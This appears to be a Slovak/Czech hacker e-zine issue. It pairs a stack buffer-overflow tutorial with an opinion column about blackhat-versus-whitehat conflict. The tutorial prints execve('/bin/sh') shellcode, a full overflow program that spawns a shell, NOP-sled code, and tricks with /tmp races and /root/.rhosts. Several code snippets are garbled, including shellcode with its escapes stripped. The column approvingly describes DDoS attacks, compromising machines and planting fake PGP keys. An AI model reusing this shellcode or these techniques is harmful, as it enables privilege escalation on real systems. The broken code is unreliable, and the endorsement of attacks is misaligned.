pushl $2 ; uloz argument 2 pre function()
pushl $1 ; uloz argument 1 pre function()
call function ; zavolaj function() a uloz IP (Instruction Pointer) na vrch zasobnika
/pr.0x4.3/
pushl %ebp ; uloz frame pointer na zasobnik (sfp = saved frame pointer)
movl %esp, %ebp ; zjisti adresu konce budouciho frame pointeru
Najprv sa frame pointer – EBP ulozi do zasobnika. Aktualne SP sa nasledne zkopiruje do EBP,
cim z neho vytvori novy Frame Pointer. Nakoniec sa procedura ‘zaver’ vyberie alokovat miesto pre lokalne
premenne odpocitavanim ich velkosti od SP. Prekladac gcc zpravidla zarovnava vsechny promenne
na zasobniku na nasobky wordu (zpravidla na 4 nebo 16 bajtu)
to vysvetluje, preco je v tomto priklade od SP odratana hodnota 20. Zdrojovy kod v priklade pr.0x4.1
pouziva 5 bajtovy buffer, takze sme museli alokovat 2 wordy (8 bajtov) a pre 10 bajtovy buffer 3 wordy (12 bajtov).
Teda oba buffre dokopy davaju 20 bajtov (a nie 15 ako by sa mohlo zdat), ked berieme do uvahy 4-bajtovu
velkost slova na Intel x86 procesoroch.
+-----------------------+
|,,,,,,,argc,,,,,,,,,,,,|
+=======================+
|..uzivatelsky.zasobnik.|
+-----------------------+
| c |
+-----------------------+
| b |
+-----------------------+
| a |
+-----------------------+
| ret |
+-----------------------+
| sfp |
+-----------------------+
| buffer1 |
+-----------------------+
| buffer2 |
+-----------------------+
|.......heap............|
+=======================+
|,,,,,,,bss,,,,,,,,,,,,,|
+-----------------------+
V programovacom jazyku C sa tento vyraz pouziva pre vsetky pripady,
kedy sa pointer dostane mimo vymedzenych hranic, co sposobi core dump alebo
poskodenie pamate. Toto je zakladom stack smashing a heap/bss bezpectnostnych dier.
Mozme sa stretnut aj s inymi pomenovaniami, ale zvacsa pri tom ide opat
o nechcene operacie s dynamicky pridelenou pamatou. Tento vyraz je odvodeny
od Spanielskeho tanca ;-).
Je to variacia Fandango on Core. Popisuje pripad, ked pracujeme za
koncom hranic definovaneho pola. Chybajuce testovanie hranic v jazyku C
vydatne podporuje tento jav. Takto sa chovajuci program je opat jednym so
zakladych prvkov pri stack smashing utoku.
Variacia overrun screw, vznikne zapisom za koniec definovaneho pola,
kedy prepiseme navratovu adresu v zasobniku. Program odskoci na nahodnu adresu a preplni
vstup velkym mnozstvom dat, co prepise pevne definovany buffer.
Termin zauzivany uz v rokoch okolo 1960 pri programovacich jazykoch
Fortran a Algol. Je to skupina chyb, kedy program vyuziva viac ako jeden pointer,
alebo alias na pointer, ktory ma ukazovat na blok dynamicky pridelenej pamate.
Ak je pamat modifikovana pouzitim prveho aliasu a druhy s tym neratal
moze vzniknut neprijemny problem – nespojitost, alebo strata dat.
Jedna sa o chybu, ktora je opakovatelna. Teda vieme presne popisat
v akom pripade sa vyskytne. Tento vyraz je odvodeny z kvantovej fyziky.
Vyraz opisujuci chybu, ktora zmizne akonahle sa nanu zameriame (napr. zapnutim debugu).
Moze ist napriklad o chybu, ktorej staci nepatrna zmena v systemovom prostredi,
alebo v pamati na to, aby sa neprejavila. Obcas sa zvykne nazyvat aj Mandelbug,
alebo Schroedinbug. Vysledkom je z pravidla fandango on core alebo stack smashing.
Tento vyraz je odvodeny z kvantovej fyziky.
Chyba, ktorej prejav je prilis zlozity az nedeterministicky.
Tento vyraz bol odvodeny z Mandelbrotovej mnoziny.
Nahodne, alebo aj umyselne najdena chyba v zdrojovom kode, alebo chyba ktora sa objavila
az pri neplanovanom vyuziti programu – nestandartny vstup, alebo podmienky behu.
V pripade vyrazu vyzivajuceho viacero aritmetickych operacii moze programator stratit prehlad nad ich
prioritou, resp. poradim vykonania.
Program pri svojom behu dynamicky alokuje pamat a v pripade, ze ju nedealokuje spravne, zacne naberat
na velkosti. Moze sa stat ze vycerpa vsetku pamat systemu.
Nekonecka slucka ktora vznikne cakanim na priznak, ktory sa ale neobjavi, pretoze sa s jeho nastavenim
opat na nieco caka (napriklad na vykonanie uz cakajuceho programu).
Objavuje sa napriklad pri zamykani suborov dvomi aplikaciami.
Co je to vlastne exploit? Je to program, ktory zneuziva chybu v inom
programe za ucelom ziskania privilegii, na ktore nemame opravnenie.
Exploity mozu byt lokalne – na ich spustenie musime mat uzivatelsky ucet na
cielovom pocitaci, alebo aspon shell pristup (napr. cez bindshell). Lokalne
chyby sa zvacsa tykaju suid programov, ktorym dame na vstup, alebo do
systemovych premennych data, ktore preplnia buffer nasej suid aplikacii a
docielime toho, ze sa z nami vlozenych dat stane kod, ktory sa spusti.
Dalej sa moze jednat o tmp-race – ked program s vyssimi privilegiami pri svojom behu
pouziva /tmp adresar (pristupny vsetkym uzivatelom) na uchovanie docasnych suborov.
Hacker moze vytvorit dopredu linku, ktora bude smerovat na subor, ktory sa ma
zobrazit/prepisat. Pokial je suid program zle napisany a nezisti ze taky
subor uz existuje (nezistuje pritomtost daneho suboru a nevytvara ho atomicky),
resp. ze to je link, utocnik docieli manipulacie so suborom na ktory smeruje
link s pravami suid programu. Takto mozme napr. do suboru /root/.rhosts vlozit
retazec ‘+ +’, alebo precitat systemovy shadow subor.
Dalsia moznost je spravit utok na jadro, cez pipe, device, alebo /proc filesystem.
Vzdialeny exploit zneuziva chybu v aplikacii pocuvajucej na nejakom
tcp/udp porte, pripadne sledujucej traffic na sieti. V extremnom pripade by
bolo mozne uvazovat o remote exploite na ip-stack zariadenia na sieti. Pri
takychto utokoch sa jedna vacsinou o chybu v aplikacii, ked sa nedostatocne
kontroluje vstup (jeho velkost, esc sekvencie).
Sniffing je taktika, kedy utocnik vidi traffic na urovni sietoveho
adapteru. Tam su v pripade zdielanieho spojenia (napr. ethernet) zvacsa aj data urcene
nielen pre dany adapter. Este nebezpecnejsie je, ked prepne sietovy adapter do PROMISC rezimu.
Vtedy interface prijima aj take framy, ktore nemaju v l2 hlavicke svoju
mac adresu ako ciel. Vo vacsine pripadov sa jedna prave o PROMISC sniffing.
Utocnik posiela packety (zvycajne udp/icmp) s inou zdrojovou adresou, ako je
jeho vlastna. Takto sa daju ucinne obist packet-filtre (firewally). Samozrejme
ak chce obet odpovedat, odpoveda nie utocnikovi ale nic netusiacej stanici,
ktora bola uvedena ako zdrojovoa adresa v hlavnicke spoofnuteho IP packetu.
Spoofing nefunguje pri TCP spojeniach, pretoze tu je potrebny 3-way handshaking.
Tato technika sa pouziva v prepinanom prostredi (switch)
Ked posle obet dns request na nejaku domenu a utocnik odpovie rychlejsie ako
dns server a zna ID query (napr hore spominany sniffing,
nebo ho proste uhadne), obet dostane zdanlive spravnou odpoved, ale od nespravneho
zdroje.
Nedoverovat paketom len preto, ze prichadzaju z nizkych portov (<1024).
Nedoverovat paketom len kvoli ich IP adrese.
Pri zistovani mena hostu pouzivajte reverzne vyhladavanie aj so spatnym vyhladanim hosta.
Je vhodne pouzit nejaku metodu limitacie pre pripad cieleneho/nahodneho pretazenia.
Rozumne nastavovat timeouty na read/write zo siete.
Samozrejme treba dokladne kontrolovat vstup na velkost.
Moze byt vhodne pouzit auth sluzbu na prichodzie spojenia.
Skuste sa vyvarovat pouzitiu clear-text loginu/hesla pri prenose po sieti.
Podpora proxy (napriklad SOCKS) sa moze zist, ak to ma pre vas vyznam zahrnte ju do vasej aplikacie.
Logovanie do suboru/syslogu by mala byt samozrejmost.
Reakcia na signaly (napr. TERM) moze pomoct pri ‘zmrznuti’ aplikacie (napr. prilis vela timeoutov).
Pri spusteni je dobre zistit si, ci uz nieje na danom servri tato aplikacia spustena, aby nedoslo k zablokovaniu.
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
/pr.0xb.1/
Po kompilacii a spusteni horeuvedeny kod vrati segmentation fault. To sa stane preto, ze
function() sa pokusa kopirovat large_string do buffer pomocou strcpy(), ktore nerobi
kontrolu hranic. strcpy() jednoducho pokracuje so zapisovanim, pokial neskonci large_string.
To ma za nasledok prepisanie SFP, RET and *str. Znazornenie:
+-----------------------+ +-----------------------+
|,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,|
+-----------------------+ +-----------------------+
|.uzivatelsky.zasobnik..| |.uzivatelsky.zasobnik..|
+-----------------------+ +-----------------------+
| *str | | strcpy() sa pokusi |
+-----------------------+ | zapisat 256 bajtov do |
| ret | ^ | do buffra,cim prepise |
+-----------------------+ | | sftp, ret a *str. |
| sfp | | | |
+-----------------------+ | +-----------------------+
| buffer[16] | | | buffer[16] |
| | | | |
+-----------------------+ +-----------------------+
|.......heap............| |.......heap............|
+-----------------------+ +-----------------------+
|,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,|
+-----------------------+ +-----------------------+
pred zavolanim strcpy() po zavolani strcpy()
Zapisanim retazca A-ciek (0x41 hexa) do, a cez zasobnik sa zmenila navratova adresa
mimo rozsah adresneho priestoru procesu. Proces nemoze nacitat dalsiu instrukciu
a preto je ukonceny s hlaskou Segmentation Fault.
Tento priklad ukazuje, ako sa da zmenit navratova adresa dynamickej funkcie pomocou
pretecenia sposobeneho jednou funkciou ktora kopiruje blok dat bajt po bajte.
Manipulacia s navratovou adresou funkcie v zasobniku je zaklad vsetkych Buffer Overrunov
utociacich na SUID ROOT binarky. Zmenenim navratovej adresy pomocou statickeho retazca
obsahujuceho shell kod spravi z obycajneho nekontrolovaneho kopirovania stringu instrukciu,
ktora moze spustit lubovolny kod v zasobniku.
Aby sme dosiahli spustenie interaktivneho shellu, niekde v pamati sa musi nachadzat staticka
sekvencia spustenia /bin/sh, na ktoru bude ukazovat zmanipulovana navratova adresa.
To sa da dosiahnut pouzitim assemblerovskeho hexadecimalneho stringu, ktory je binarnym
ekvivalentom standartnej C funkcie execve(name[0], “/bin/sh”, NULL). Samozrejme assemblerovsky
ekvivalent k tomuto volaniu je zavysli na architekture. Za pouzitia debugovacich nastrojov
je mozne rozdelit volanie ako execve(name[0], “/bin/sh”, NULL) rozkuskovanim na jednotlive
ASCII assemblerovske sekvencie a ich ulozenim v znakovom poli alebo inej spojitej datovej forme.
Na Intel x86 stroji, na ktorom bezi Linux musime podniknut nasledujuce ktory na ziskanie shell kodu:
2. V pamati sa vyskytuje string /bin/sh zakonceny nulovym long-wordom
3. 0xb sa kopiruje do EAX registra
4. Adresa stringu /bin/sh sa zkopiruje do EBX registra
5. Adresa stringu /bin/sh sa zkopiruje do ECX registra
6. Adresa nuloveho long-wordu sa skopiruje do EDX registra
7. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch
8. 0x1 sa nakopiruje do EAX registra
9. 0x0 sa nakopiruje do EBX registra
a. Vyvola sa int $0x80 co je standartne prerusenie na Intel procesoroch
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
Kombinacia prikladu buffer overflowu a shell kodu:
char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string; /* long_ptr obsahuje adresu large_stringu */
/* prvych 32 bajtov large_stringu je vyplnenych adresou buffra */
for( i = 0; i < 32; i++)
*(long_ptr + i ) = (int) buffer;
/* zkopiruj shell kod do large_stringu */
for( i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
/* buffer dostane shell kod a 32 pointerov spat na seba sameho */
strcpy(buffer,large_string);
}
/pr.0xc.1/
Najprv je large_string vyplneny adresou buffra, ktora ukazuje na buducu poziciu v pamati,
kde bude ulozena nas shell kod. Potom sa shell kod prekopiruje na zaciatok znakoveho pola large_string.
Dalej strcpy() zkopiruje large_string do buffra, cim prepise navratovu adresu adresou shell kod sekvencie.
Ked sa main() funkcia dokonci, program miesto navratu skoci na adresu nasho shell kodu a vykona ho.
Vysledkom bude, ze dostanete interaktivny shell. Vpripade ze pouzivate napr. bash1, a tomu to testovaciemu
programu nastavite SUID bit, interaktivny shell bude bezat s efektivnym uid euid(0).
+-----------------------+ +-----------------------+
|,,,,,,,argc,,,,,,,,,,,,| |,,,,,,,argc,,,,,,,,,,,,|
+-----------------------+ +-----------------------+
| uzivatelsky zasobnik | | uzivatelsky zasobnik |
+-----------------------+ +-----------------------+
| ret | | o ^ ret |
+-----------------------+ +-s--v--|---------------+
| sfp | | t e | sfp |
+-----------------------+ +-r--r--|---------------+
/----- | long_ptr | | c f | long_ptr|
| +-----------------------+ +-p--l--|---------------+
|(x32) | i | | y o | i |
| +-----------------------+ +----w--|---------------+
| /-- | buffer | /-> | | buffer |
| | +-----------------------+ | +-----------------------+
| -> | | -- | |
| | | | |
----> | large_string[128] | | large_string[128] |
| | | |
/-> | | /-> | |
| +-----------------------+ | +-----------------------+
-- | shellcode[] | -- | shellcode[] |
| | | |
+-----------------------+ +-----------------------+
|.......heap............| |.......heap............|
+-----------------------+ +-----------------------+
|,,,,,,,bss,,,,,,,,,,,,,| |,,,,,,,bss,,,,,,,,,,,,,|
+-----------------------+ +-----------------------+
pred zavolanim strcpy() po zavolani strcpy() ; ret je prepisany
Realny stack smashing
+4 bajty | parametre ... |
+-----------------------+
+4 bajty | navratova adresa | velkost 4 bajty
+-----------------------+
SP | base pointer | velkost 4 bajty
+-----------------------+
-1024 bajtov | lokalne pole2[1024] | velkost 1024 bajtov
+-----------------------+
-2048 bajtov | lokalne pole1[1024] |
+-----------------------+
| ... |
Zopakujme si princip buffer overflowu:
Zapiseme do premennej pole2 tolko dat, aby sme prepisali base pointer (co je len
vedlajsi efekt) a navratovu adresu (o to nam ide). V tomto pripade teda do
pole2 musime zapisat 1032 bajtov (1024+4+4)
+4 bajty | parametre ... |
+-----------------------+
+4 bajty | 4 krat "X" | velkost 4 bajty
+-----------------------+
SP | 4 krat "X" | velkost 4 bajty
+-----------------------+
-1024 bajtov | 1024 krat "X" | velkost 1024 bajtov
+-----------------------+
-2048 bajtov | lokalne pole1[1024] |
+-----------------------+
| ... |
Samozrejme sami zapisane data nebudu “X”, ale take, aby navratova adresa
bola prepisana adresou nasho shell kodu, ktory ma byt vykonany pri
ukoncovani programu, ked sa zavola ret. Samozrejme shell kod sa musi nejako
dostat do programu. Idealne je zapisat do pole2 shell kod, a nakoniec adresu tohto shell kodu.
Napriklad takto:
+4 bajty | parametre ... |
+-----------------------+
+4 bajty | adresa shell kodu | ---
+-----------------------+ |
SP | 4 nevyznamne bajty | |
+-----------------------+ |
-1024 bajtov | shell kod | <--/
+-----------------------+
-2048 bajtov | lokalne pole1[1024] |
+-----------------------+
| ... |
Takze teraz by sme potrebovali upravit nas shell kod, aby bol presne tak dlhy ako premenna,
ktoru ideme prepisat, ba aj o cosi dlhsi ;-).
Presne o 8 bajtov – base pointer (4bajty) + ret adresa(4bajty).
Linearny diagram by mohol vyzerat asi takto: ….
#define lv_size=1024; /* dlzka premennej, na ktoru utocime */
char buffer[lv_size+8]; /* pozicia navratovej adresy */
/* execshell je pole s nasim shell kodom */
for(i=0;i<lv;_size-strlen(execshell);i++)
ptr[i]=0x90;
for(i=0;i<strlen;(execshell);i++)
ptr[i+lv_size-strlen(execshell)]=execshell[i];
Pripadne elegantnejsi sposob:
#define lv_size=1024
char buffer[lv_size+8]
memset(ptr,0x90,lv_size-strlen(execshell));
ptr+=lv_size-strlen(execshell);
for(i=0;i<strlen;(execshell);i++)
*(ptr++)=execshell[i];
Pre ine platformy ma instrukcia NOP (0x90) iny opcode.
+4 bajty | parametre ... |
+-----------------------+
+4 bajty | adresa OSP + offset | ---
+-----------------------+ |
SP | 4 nevyznamne bajty | |
+-----------------------+ |
-1024 bajtov | [shell kod] | |
| [nop] | |
| [nop] | ---/ OSP + offset
| [nop] | -------
| [nop] | | offset
| [...] | | vacsi
+-----------------------+ | ako
-2048 bajtov | lokalne pole1[1024] | | 1024
OSP -> +-----------------------+ -------/
| ... |
V tomto priklade sme mali pred premennou, ktoru sme modifikovali este jednu lokalnu premennu.
Offset k OSP teda musel byt vacsi ako dlzka tejto lokalnej premennej, aby sme ju preskocili.
Aby sme dostali adresu SP, pouzijeme funkciu get_sp(), jejiz portovatelna verze vypada zhruba takto:
function unsigned long get_sp(void)
{
int x;
return (unsigned long) &x;
}
Prvy Priklad zistenia SP:
/* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
ptr2=(long *)ptr;
*ptr2=get_sp()+offset;
Druhy (robustnejsi) priklad zistenia SP:
/* ptr2 je long alebo dword pointer na ptr, ktory ukazuje na navratovu adresu v buffri */
ptr2=(long *)ptr;
for(i=1;<8;i++)
*(ptr2++)=get_sp()+offset;
Existuju rozne balicky, ktore sa staraju o zabezpecenie (zatesnenie) linuxoveho jadra.
Ako priklad mozme uviest napriklad Medusa (SK), LIDS (FR) a RSBAC (DE).
Ich pristup k problemu je rozny, ale vysledkom je hlavne detailne rozdelenie pristupovych prav
k chulostivym castiam systemu a notifikacia vo vlastnej rezii, alebo cez unixovy klog/syslog.
http://cm.bell-labs.com/cm/cs/who/dmr/hist.html
http://www.english.uga.edu/hc/unixhistory.html
http://www.tuxedo.org
Natan P. Smith – Stack Smashing Vulnerabilities in the UNIX Operating System [1997] .ps
PALSMOID/THC iN 1996 – STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX
Hatch, Lee Kurtz – Linux, Hackerske Utoky [2002]
O’Reilly – Bezpecnost v UNIXu a Internetu v praxi [1998]
co ty na to ? board
cerne a bile klobouky
vypada to ze zacina realna kyberneticka valka mezi hackery, jak o ni mnozi
cyberpunkovy spisovatele snili. v poslednich dvou letech se security scena stala
natolik byznysem ze se do ni zacali cpat lide co jsou spise ekonomove nez
programatori. vzniklo spousty “security labu”, jako hub po desti viz treba iss. u
iss je treba se na chvili zastavit – je to velice zajimava corporation jakozto
nedisponujici zadnymi schopnymi lidmy stale publikuje nove a nove bugy v masivne
pouzivanem softwaru, coz je nanejvis podezrele. nuze jak to je doopravdy:
apache chunking vulnerability (www.cert.org/advisories/CA-2002-17.html),
(opet teso – existuje funkcni exploit na solaris,
linux a *bsd, pro ty co nemohou spat – pouziva se hezka kombinace signalu a
scoreboard, gobbles napsal rychlejsi exploit vyuzivajici faktu ze memcpy() je
ekvivalent memmove() na *lsd) – tento bug byl po dobu asi pul roku privatni
zalezitost, ale pak o nem jeden z clenu skupiny teso (byl to zip, kompletne se
zdiskreditoval a kdokoli se snim odmita bavit, btw) rekl iss (zda-li za uplatu ci ne
nikdo netusi) a dalsi “profesionalni” security advisory od iss je na svete. v tuto
chvili iss inkasuje obrovske sumy za sve “enterprise security solutions” a v pojmu
“ty odbornici na sekjurity” jsou takrka fenomemem.
openssh 2.9-3.3 remote challenge remote root bug (www.cert.org/advisories/CA-2002-18.html) – nalezeno nekolika blackhat
skupinami nezavisle na sobe, po dlouhou dobu privatni zalezitost, bug je vicemene
nezajimavy ponevadz z hlediska defaultnich instalaci je napadnutelne opravdu jen
openbsd.
bind8 recursive query response bug (www.cert.org/advisories/CA-2002-31.htm) – asi rok stara zalezitost jednoho _velice_
schopneho clovicka z adm. tento bug a jeste nektere jine o kterych nechci a ani
nemuzu psat byli a jsou mimojine zneuzivany k infiltraci source ftp a cvs velice
zajimaveho softu 😉 btw, apache.org _melo_ backdoornute zdrojove .tar, ale jen na
dobu nekolika minut a do dneska to odmitaji priznat ;p), jak se dostal do paratu iss
je velice zajimava historie, ale zhruba to je tak ze adm ownulo pomoci tohoto bugu
jednomu “security expertovi” masinu, ktery si toho po nekolika dnech vsimnul (sakra,
to je nahoda) a nanestesti na teto siti bezel packet logger. a ponevadz na dane
masine krome dns nic jineho nebezelo, dali si 1+1 dohromady, udelala se analyza
paketu a z toho uz se dalo relativne usoudit kolik uhodilo.
je “odboj” proti tzv. “security expertum”, ackoli nekteri lide to berou az moc na smrt
vazne a fanaticky (www.phrack.ru), s cim zase nesouhlasim, urcite existuji i korektnejsi cesty, ale
generalne je tato myslenka spravna. z predchoziho textu si asi kdekdo muze myslet ze
blackhat vs. whitehat je boj na zivot a na smrt, neni to zase tak drsny: pr0j3kt
m4yh3m se snazi zasahovat proti iss a jim podobnym, vzhledem k tomu kolik lidi se
toho ucastni, castecne se to i dari. poradaji se ddos utoky na scriptkiddie a
whitehat sajty (to delaji ti mene sikovni), ti vice sikovni primo ownujou stroje
interesantnich lidi. dela se psychologicky natlak (distribuovani fake pgp klicu do
velkych pgp klicenek, takze cilene osoby nemohou prilis dobre vyuzivat pgp), dela se
masova inpersonace aby se dane osoby zdiskreditovaly. delaji se masove dezinformace,
coz nekdy muze zpusobit komicke situace jako treba kdyz phc stvorilo ac1db1tch3z rumour
(a to velice jednoduchym spusobem – stacilo pastnout na #darknet@efnet fake banner
a domluvit se ostatnima lidma aby na /msg skriptkidacku odpovidali ze neco takoveho
existuje 😉
doslo to tak daleko ze se toho chopilo nekolik chytraku a na mnoha prestiznich
konferencich, vcetne bugtraqu, tam o tom byl rozsahly thread kde vsichni ze vsech stran
rozebiraji zda-li opravdu existuje remote root linux kernel exploit ;p
ze je to spatne ? drogy jsou treba taky spatne – ale druha strana fronty to dela taky
viz. treba securityfocus kdyz posilali vlastni fake posty na bugtraq od stealtha
(teso), vrchol vseho byl kdyz jeden clovek poslal popis bugu na bugtraq a post byl
bloknut. dva dny na to se popis objevil na bugtraqu s hlavickou securityfocus!
(pozdeji sem zjistil ze pozmeneny email prisel platicim sf klientum jeste ten den).
protesty puvodniho autora jsou samozrejme vesele ignorovany a filtrovany ze vsech sf
konferenci.
v soucasne dobe se pr0j3ktu m4yh3m vice ci mene ucastni mnoho lidi, nekteri jsou
velice dobrymi odborniky ve svem oboru a kteri uz maji leccos za sebou.
neni zase tak idealni jak se vsude hlasa. zastavam nazor ze pokud je nekdo schopen
najit bug a exploitovat ho, bude zrejme natolik inteligentni ze tim nebude pusobit
mnoho skod. naproti tomu kdyz nekdo najde bug a okamzite ho zverejni (nejlepe jeste
s exploitem, a kdyz ne tak ho nekdo napise), script kiddies se pomejou a zacne
masove rootovani a defacovani, coz je spise kontraproduktivni. nevim proc se
opustilo od stareho postupu jez fungoval ve “starych dobrych casech”, tj jeste pred
nekolika lety – kdyz nekdo nasel bug, nechal si to pro sebe, maximalne informoval
vendora. a az kdyz se dotycnej dostatecne vyradil a vendor vydal fixnutou verzi,
pockalo se nekolik mesicu az fixnutej release bude dostatecne roztrousen po svete a
pak se advisory teprve uverejnilo. dnes se to dela naopak, pravdepodobne aby bylo co
nejvice incidentu a iss melo vysokou klientelu, ale kdovi.
tomuhle konec jentak nejspis nebude, prognozy jsou ze se situace ma dale zhorsovat.
nastesti osveta je relativne rychla a lide v pozadi (tj. ty co nakonec ty bugy
najdou) co zivi cele to monstrum zvane “security industry” si zacinaji uvedomovat ze
jsou v podstate manipulovani a ze pachaji vice zla nez dobra.
informace v tomto textu jsou vicemene neuplne a dali by se spise oznacit jako spicka
ledovce. vychazeji z mnohaletych konverzaci na irc s nekolika stovkami lidi. uvedena
fakta a nazory, ackoli by mohla byt spravna, by nemela byt brana seriozne – jedna se
jednoduse o ciste osobni nazor autora. ucelem clanku neni nekoho varovat ci
zastrasovat aby nepodcenoval hackery (to by nemel delat tak ci onak, btw), ale spis
vysvetlit nektere nepochopitelne veci co se dnes deji. kazdopadne kdo se spoleha na
komercni security (nejsi nahodou klient securityfocus ? 😉 je zhruba tak o mesic az
pul roku pozadu. pozor na to. mozna vam prave ted nekdo ownuje masinu ;p
co ty na to ? board